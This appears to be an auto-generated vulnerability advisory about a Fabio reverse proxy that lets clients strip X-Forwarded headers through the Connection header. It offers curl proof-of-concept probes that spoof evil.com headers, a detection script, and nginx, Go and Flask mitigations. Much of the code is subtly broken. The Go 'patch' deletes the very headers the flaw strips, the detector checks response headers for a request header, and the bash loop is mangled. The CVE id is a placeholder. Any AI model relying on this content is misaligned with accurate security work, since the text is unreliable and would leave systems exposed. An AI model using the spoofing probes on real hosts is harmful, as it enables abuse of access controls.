Listen to this Post
How the Vulnerability Works
Fabio, a reverse proxy, mishandles hop-by-hop headers by allowing clients to strip critical X-Forwarded headers (except X-Forwarded-For) via the HTTP `Connection` header. When clients include headers like `X-Forwarded-Host` or `Forwarded` in the `Connection` header, Fabio removes them before forwarding requests. This manipulation breaks trust assumptions in backend services relying on these headers for security decisions (e.g., access control, IP validation). The flaw mirrors critical CVEs in Apache and Traefik, where header stripping enabled spoofing and SSRF.
DailyCVE Form
Platform: Fabio LB
Version: <1.8.3
Vulnerability: Header stripping
Severity: Critical
Date: 2025-05-30
Prediction: Patch by 2025-06-15
What Undercode Say:
Exploitation Commands
PoC: Strip X-Forwarded-Host curl -H "Connection: close, X-Forwarded-Host" http://victim:9999/ Automated testing for header in X-Forwarded-Host X-Forwarded-Port Forwarded; do curl -H "Connection: keep-alive, $header" -H "$header: evil.com" http://victim:9999/ done
Detection Script (Python)
import requests
headers = {
"Connection": "X-Forwarded-Host",
"X-Forwarded-Host": "attacker.com"
}
r = requests.get("http://fabio-instance:9999", headers=headers)
if "attacker.com" not in r.headers.get("X-Forwarded-Host", ""):
print("Vulnerable to CVE-2024-XXXX")
Mitigation Steps
1. Immediate Workaround:
Nginx filter to block malicious Connection headers
if ($http_connection ~ "X-Forwarded") {
return 403;
}
2. Fabio Patch:
// Code fix: Validate Connection headers
func sanitizeHopHeaders(h http.Header) {
for _, hdr := range strings.Split(h.Get("Connection"), ",") {
if strings.HasPrefix(strings.TrimSpace(hdr), "X-Forwarded") {
h.Del(hdr)
}
}
}
3. Upstream Validation:
Backend checks (Flask example)
@app.before_request
def verify_headers():
if request.headers.get("X-Forwarded-Host") not in TRUSTED_DOMAINS:
abort(403)
Network Analytics
Log analysis for exploitation attempts grep -E 'Connection:.(X-Forwarded|Forwarded)' /var/log/fabio/access.log
References
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
